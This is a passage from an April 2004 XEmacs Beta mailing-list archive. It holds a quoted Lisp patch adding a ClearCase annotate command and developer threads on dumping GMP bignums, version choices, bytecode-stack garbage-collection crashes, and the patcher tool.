'clearcase-browse-vtree-current-buffer) > > (define-key clearcase-prefix-map "c" > > 'clearcase-uncheckout-current-buffer) > > (define-key clearcase-prefix-map "e" 'clearcase-edcs-edit) > > +(define-key clearcase-prefix-map "g" > > 'clearcase-annotate-current-buffer) > > (define-key clearcase-prefix-map "i" > 'clearcase-mkelem-current-buffer) > > (define-key clearcase-prefix-map "l" > > 'clearcase-list-history-current-buffer) > > (define-key clearcase-prefix-map "m" 'clearcase-mkbrtype) > > @@ -591,7 +592,6 @@ > > ;; > > (define-key clearcase-prefix-map "a" 'undefined);; > > vc-update-change-log > > (define-key clearcase-prefix-map "d" 'undefined);; vc-directory > > -(define-key clearcase-prefix-map "g" 'undefined);; vc-annotate > > (define-key clearcase-prefix-map "h" 'undefined);; > vc-insert-headers > > (define-key clearcase-prefix-map "m" 'undefined);; vc-merge > > (define-key clearcase-prefix-map "r" 'undefined);; > > vc-retrieve-snapshot > > @@ -1973,6 +1973,44 @@ > > > > ;;}}} > > > > +;;{{{ annotate > > +(defun clearcase-annotate-current-buffer () > > + "annotate the current buffer in a window." > > + (interactive) > > + (clearcase-annotate buffer-file-name)) > > +;;}}} > > + > > +(defun clearcase-annotate (file) > > + "annotate FILE. > > + > > +FILE can be a file or a directory. If it is a directory, only the > > information > > +on the directory element itself is listed, not on its contents." > > + > > + (let ((mtype (clearcase-fprop-mtype file))) > > + (if (or (eq mtype 'version) > > + (eq mtype 'directory-version)) > > + (progn > > + (message "annotating...") > > + (setq last-mode major-mode) > > + (apply 'clearcase-ct-do-cleartool-command > "annotate" file > > 'unused > > + (list "-nco" "-force" "-nheader" "-fmt" "/** %Sd > > %-8.8u > > **/" "-out" "-")) > > + (pop-to-buffer (get-buffer-create "*clearcase*")) > > + (setq default-directory (file-name-directory file)) > > + (while (looking-at "=3D*\n") > > + (delete-char (- (match-end 0) (match-beginning 0))) > > + (forward-line -1)) > > + (goto-char (point-min)) > > + (if (looking-at "[\b\t\n\v\f\r ]+") > > + (delete-char (- (match-end 0) (match-beginning 0)))) > > + (shrink-window-if-larger-than-buffer) > > + (vc-annotate-display (get-buffer "*clearcase*")) > > + (funcall last-mode) > > + (message "annotating...done")) > > + (error "%s is not a ClearCase element" file)))) > > + > > +;;}}} > > + > > + > > ;;{{{ Describe > > (defun clearcase-describe-current-buffer () > > > > > > > From xemacs-beta-admin@xemacs.org Thu Apr 15 06:09:17 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FA91s28844; Thu, 15 Apr 2004 06:09:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FA8Z428633 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 06:08:35 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FA8Xv28595 for turnbull@tux.org; Thu, 15 Apr 2004 06:08:33 -0400 Received: from dspnet.fr.eu.org (dspnet.fr.eu.org [62.73.5.179]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FA8Ws28583 for ; Thu, 15 Apr 2004 06:08:33 -0400 Received: by dspnet.fr.eu.org (Postfix, from userid 1007) id AA47834F65; Thu, 15 Apr 2004 12:08:21 +0200 (CEST) Date: Thu, 15 Apr 2004 12:08:21 +0200 From: Olivier Galibert To: XEmacs Beta Subject: Re: [S21.5] Add bignums to FAQ Message-ID: <20040415100821.GA40478@dspnet.fr.eu.org> Mail-Followup-To: Olivier Galibert , XEmacs Beta References: <87zn9pppq5.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Thu, Apr 15, 2004 at 12:32:16AM +0200, Hrvoje Niksic wrote: > "Stephen J. Turnbull" writes: > > > I know that Python at least and probably Perl have MP modules. I bet > > Python bignums have a pickle method, > > That's what my "reinventing" was all about -- turn them to strings > before dumping and back to opaque objects after dumping. But Jerry > said he didn't know how to do that, and neither do I. > > We need Olivier's help. What's the problem exactly? OG. From xemacs-beta-admin@xemacs.org Thu Apr 15 06:39:18 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FAd5s15146; Thu, 15 Apr 2004 06:39:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FAcQ214743 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 06:38:26 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FAcPH14721 for turnbull@tux.org; Thu, 15 Apr 2004 06:38:25 -0400 Received: from dspnet.fr.eu.org (dspnet.fr.eu.org [62.73.5.179]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FAcOs14709 for ; Thu, 15 Apr 2004 06:38:24 -0400 Received: by dspnet.fr.eu.org (Postfix, from userid 1007) id A8F6F34EB8; Thu, 15 Apr 2004 12:38:23 +0200 (CEST) Date: Thu, 15 Apr 2004 12:38:23 +0200 From: Olivier Galibert To: XEmacs beta Subject: What's the status on the versions now ? Message-ID: <20040415103823.GA43965@dspnet.fr.eu.org> Mail-Followup-To: Olivier Galibert , XEmacs beta Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , 21.4 vs. 21.5, which one should I use and/or work on (I need to make amharic support work again) ? OG. From xemacs-beta-admin@xemacs.org Thu Apr 15 07:47:14 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FBl5s27485; Thu, 15 Apr 2004 07:47:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FBk0q26837 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 07:46:00 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FBjwa26813 for turnbull@tux.org; Thu, 15 Apr 2004 07:45:58 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3FBjvs26789 for ; Thu, 15 Apr 2004 07:45:57 -0400 Received: (qmail 25513 invoked from network); 15 Apr 2004 13:45:56 +0200 X-Remote-IP: 213.191.128.11 Received: from mx.iskon.hr (qmailr@213.191.128.11) by mxout2.iskon.hr with SMTP; 15 Apr 2004 13:45:56 +0200 Received: (qmail 22031 invoked from network); 15 Apr 2004 13:45:55 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 15 Apr 2004 13:45:55 +0200 To: XEmacs Beta Subject: Re: [S21.5] Add bignums to FAQ References: <87zn9pppq5.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> <20040415100821.GA40478@dspnet.fr.eu.org> From: Hrvoje Niksic Date: Thu, 15 Apr 2004 13:47:29 +0200 In-Reply-To: <20040415100821.GA40478@dspnet.fr.eu.org> (Olivier Galibert's message of "Thu, 15 Apr 2004 12:08:21 +0200") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Olivier Galibert writes: > On Thu, Apr 15, 2004 at 12:32:16AM +0200, Hrvoje Niksic wrote: >> "Stephen J. Turnbull" writes: >> >> > I know that Python at least and probably Perl have MP modules. I bet >> > Python bignums have a pickle method, >> >> That's what my "reinventing" was all about -- turn them to strings >> before dumping and back to opaque objects after dumping. But Jerry >> said he didn't know how to do that, and neither do I. >> >> We need Olivier's help. > > What's the problem exactly? Jerry doesn't understand how to dump bignums. It seems the best way to do that is to convert them to string representation before dumping and re-create them from external representation after dumping. Jerry's question seems to be: how does one do that? If I'm misrepresenting your position, Jerry, please correct me. From xemacs-beta-admin@xemacs.org Thu Apr 15 08:30:15 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FCU3s23342; Thu, 15 Apr 2004 08:30:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FCTwB23217 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 08:29:58 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FCTvC23199 for turnbull@tux.org; Thu, 15 Apr 2004 08:29:57 -0400 Received: from dspnet.fr.eu.org (dspnet.fr.eu.org [62.73.5.179]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FCTvs23192 for ; Thu, 15 Apr 2004 08:29:57 -0400 Received: by dspnet.fr.eu.org (Postfix, from userid 1007) id 1F92D34F93; Thu, 15 Apr 2004 14:29:11 +0200 (CEST) Date: Thu, 15 Apr 2004 14:29:11 +0200 From: Olivier Galibert To: XEmacs Beta Subject: Re: [S21.5] Add bignums to FAQ Message-ID: <20040415122911.GB52707@dspnet.fr.eu.org> Mail-Followup-To: Olivier Galibert , XEmacs Beta References: <87zn9pppq5.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> <20040415100821.GA40478@dspnet.fr.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Thu, Apr 15, 2004 at 01:47:29PM +0200, Hrvoje Niksic wrote: > Jerry doesn't understand how to dump bignums. It seems the best way > to do that is to convert them to string representation before dumping > and re-create them from external representation after dumping. Ok, what's they physical in-memory representation? OG. From xemacs-beta-admin@xemacs.org Thu Apr 15 10:03:40 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FE3cs25775; Thu, 15 Apr 2004 10:03:38 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FE2h325095 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 10:02:43 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FE2gh25079 for turnbull@tux.org; Thu, 15 Apr 2004 10:02:42 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FE2fs25070 for ; Thu, 15 Apr 2004 10:02:41 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3FE1hDu023199; Thu, 15 Apr 2004 09:01:43 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3FE1hHS006315; Thu, 15 Apr 2004 09:01:43 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3FE1gPT006313; Thu, 15 Apr 2004 09:01:42 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: Olivier Galibert Cc: XEmacs Beta Subject: Re: [S21.5] Add bignums to FAQ References: <87zn9pppq5.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> <20040415100821.GA40478@dspnet.fr.eu.org> <20040415122911.GB52707@dspnet.fr.eu.org> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Thu, 15 Apr 2004 09:01:42 -0500 In-Reply-To: <20040415122911.GB52707@dspnet.fr.eu.org> (Olivier Galibert's message of "Thu, 15 Apr 2004 14:29:11 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Olivier Galibert , on Thu, 15 Apr 2004 at 14:29:11 +0200 you wrote: > On Thu, Apr 15, 2004 at 01:47:29PM +0200, Hrvoje Niksic wrote: >> Jerry doesn't understand how to dump bignums. It seems the best way >> to do that is to convert them to string representation before dumping >> and re-create them from external representation after dumping. > > Ok, what's they physical in-memory representation? Bingo. We don't know. They are hidden behind opaque pointers. I could read through the GMP code and figure it out, I suppose, but then what do I do about BSD MP? I can run a function that turns a bignum into a string, and another that turns a string back into a bignum. Is there any hope of storing strings by calling an encode function at dump time, and a decode function when reading the dump file? -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Thu Apr 15 10:45:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FEj3s25483; Thu, 15 Apr 2004 10:45:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FEiCe24823 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 10:44:12 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FEiBg24807 for turnbull@tux.org; Thu, 15 Apr 2004 10:44:11 -0400 Received: from dspnet.fr.eu.org (dspnet.fr.eu.org [62.73.5.179]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FEiBs24798 for ; Thu, 15 Apr 2004 10:44:11 -0400 Received: by dspnet.fr.eu.org (Postfix, from userid 1007) id B978E34F93; Thu, 15 Apr 2004 16:44:10 +0200 (CEST) Date: Thu, 15 Apr 2004 16:44:10 +0200 From: Olivier Galibert To: XEmacs Beta Subject: Re: [S21.5] Add bignums to FAQ Message-ID: <20040415144410.GA71021@dspnet.fr.eu.org> Mail-Followup-To: Olivier Galibert , XEmacs Beta References: <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> <20040415100821.GA40478@dspnet.fr.eu.org> <20040415122911.GB52707@dspnet.fr.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Thu, Apr 15, 2004 at 09:01:42AM -0500, Jerry James wrote: > Bingo. We don't know. They are hidden behind opaque pointers. I could > read through the GMP code and figure it out, I suppose, but then what do > I do about BSD MP? Ok, I didn't know you were using external libraries for that. Makes sense. > I can run a function that turns a bignum into a string, and another that > turns a string back into a bignum. Is there any hope of storing strings > by calling an encode function at dump time, and a decode function when > reading the dump file? Yes. The feature does not exist yet, but is perfectly reasonable. I'll see about adding it. OG. From xemacs-beta-admin@xemacs.org Thu Apr 15 13:13:17 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FHCFs28555; Thu, 15 Apr 2004 13:12:15 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FHBim28096 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 13:11:44 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FHBfn28040 for turnbull@tux.org; Thu, 15 Apr 2004 13:11:41 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FHBds28007 for ; Thu, 15 Apr 2004 13:11:40 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3FHBHDu007412 for ; Thu, 15 Apr 2004 12:11:17 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3FHBFHS013464; Thu, 15 Apr 2004 12:11:15 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3FHBFVC013462; Thu, 15 Apr 2004 12:11:15 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: XEmacs Beta Subject: Bytecode stack manipulations for weak objects From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Thu, 15 Apr 2004 12:11:15 -0500 Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Last fall there were a number of crashes induced by Gnus with a patch in place that adjusted the GC protection on the bytecode stack. As I recall, the intent was to stop protecting weak objects on the stack as soon as possible so that they could be garbage collected. The patch apparently let some object(s) get collected too soon, while references still existed. What is the status of that patch? Was the problem completely resolved, or do we just have a workaround in place? I ask because I have a masters student looking for a project. She has done some work with Datastreams, a local project for doing low-overhead data collection. We have used it very effectively within the Linux kernel for both debugging and performance evaluation. Now we are trying to use it in user-level programs in a similar way. I'm looking around for a debugging problem that might benefit from being able to log events very efficiently, then pass arbitrarily complex filters over the recorded event stream. If the bytecode stack patch and the associated problems still exist, I thought that might be an interesting application. We would log bytecode stack manipulations, provoke the crash, then filter the event stream backward to find out when protection was removed for the address in question. Failing that, can you think of any other XEmacs bugs that look very difficult to track down by hand, but might benefit from this kind of data recording and analysis? -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Thu Apr 15 15:16:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FJG2s06816; Thu, 15 Apr 2004 15:16:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FJF6A05591 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 15:15:06 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FJF4S05555 for turnbull@tux.org; Thu, 15 Apr 2004 15:15:04 -0400 Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FJF2s05509; Thu, 15 Apr 2004 15:15:02 -0400 Received: from sfwd01.aul.t-online.de by mailout05.sul.t-online.com with smtp id 1BECK8-0002W0-01; Thu, 15 Apr 2004 21:14:56 +0200 Received: from D5DC120J.t-online.de (ZZ27sEZJ8eD0gLODVK7Xfhk1Jhjf9IKACx1M0hWyEV+6tpUTuznboY@[217.89.0.142]) by afwd01.sul.t-online.com with esmtp id 1BECK3-0AJbl20; Thu, 15 Apr 2004 21:14:51 +0200 To: Sven Grundmann Cc: xemacs-beta@xemacs.org Subject: Shameless Patcher Plug (was: [QS21.4R21.5] etags named tags bug solved) X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B <87vfk475i9.fsf_-_@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: Adrian Aichner Date: Thu, 15 Apr 2004 21:15:59 +0200 In-Reply-To: (Sven Grundmann's message of "Thu, 15 Apr 2004 00:57:30 +0200") Message-ID: <1xmpaw7k.fsf_-_@smtpmail.t-online.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: ZZ27sEZJ8eD0gLODVK7Xfhk1Jhjf9IKACx1M0hWyEV+6tpUTuznboY X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Sven Grundmann writes: > SUPERSEDES 21.4 RECOMMEND 21.5 > > "Stephen J. Turnbull" writes: > >> (2) In the future, please supply a ChangeLog in the following format. >> Feel free to copy this one in future correspondence about this patch, >> or edit it if you. Hello dyna^H^H^H^HSven! Since you have been sending a few patches lately I would like to recommend the use of patcher, which is part of the xemacs-devel XEmacs package. It's also recommended under 6. in http://www.xemacs.org/Develop/index.html Its docs are at http://www.xemacs.org/Documentation/packages/html/patcher.html and it should greatly ease the tasks of: o Keeping track of various projects you submit patches for o Commiting patches (when you have commit rights and XEmacs authenticated) o Generating patches for complete projects or single files o Completing ChangeLogs (patcher will create ChangeLog entry frameworks for you) Also part of xemacs-devel, patch-keywords.el allows to to add patch keywords easily. See http://cvs.xemacs.org/viewcvs.cgi/XEmacs/packages/xemacs-packages/xemacs-devel/patch-keywords.el?rev=1.4&content-type=text/vnd.viewcvs-markup himself for its use. Hope this helps, Adrian -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Thu Apr 15 18:19:14 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FMJ8s21517; Thu, 15 Apr 2004 18:19:08 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FMIaq21157 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 18:18:36 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FMIZU21138 for turnbull@tux.org; Thu, 15 Apr 2004 18:18:35 -0400 Received: from dspnet.fr.eu.org (dspnet.fr.eu.org [62.73.5.179]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FMIVs21099; Thu, 15 Apr 2004 18:18:31 -0400 Received: by dspnet.fr.eu.org (Postfix, from userid 1007) id 239F434EF0; Fri, 16 Apr 2004 00:18:31 +0200 (CEST) Date: Fri, 16 Apr 2004 00:18:31 +0200 From: Olivier Galibert To: Jerry James Cc: XEmacs Beta Subject: Re: [S21.5] Add bignums to FAQ Message-ID: <20040415221831.GA7774@dspnet.fr.eu.org> Mail-Followup-To: Olivier Galibert , Jerry James , XEmacs Beta References: <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> <20040415100821.GA40478@dspnet.fr.eu.org> <20040415122911.GB52707@dspnet.fr.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , (* 1000 1000 1000 1000) 1000000000000 Ok, looks like I have a functional bignum-enabled xemacs. I've never really looked at the lisp half of dumping any more than I needed to though, so do you have an easy way to make xemacs try to dump such a number (and fail, of course)? OG. From xemacs-beta-admin@xemacs.org Thu Apr 15 19:02:06 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FN21s15105; Thu, 15 Apr 2004 19:02:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FN1Al14705 for xemacs-beta-mailman@xemacs.org; Thu, 15 Apr 2004 19:01:10 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3FN16r14678 for turnbull@tux.org; Thu, 15 Apr 2004 19:01:06 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3FN16s14669 for ; Thu, 15 Apr 2004 19:01:06 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3FMxpDu005782; Thu, 15 Apr 2004 17:59:51 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3FMxpHS014710; Thu, 15 Apr 2004 17:59:51 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3FMxps4014708; Thu, 15 Apr 2004 17:59:51 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: Olivier Galibert Cc: XEmacs Beta Subject: Dumping bignums References: <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> <20040415100821.GA40478@dspnet.fr.eu.org> <20040415122911.GB52707@dspnet.fr.eu.org> <20040415221831.GA7774@dspnet.fr.eu.org> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Thu, 15 Apr 2004 17:59:51 -0500 In-Reply-To: <20040415221831.GA7774@dspnet.fr.eu.org> (Olivier Galibert's message of "Fri, 16 Apr 2004 00:18:31 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; 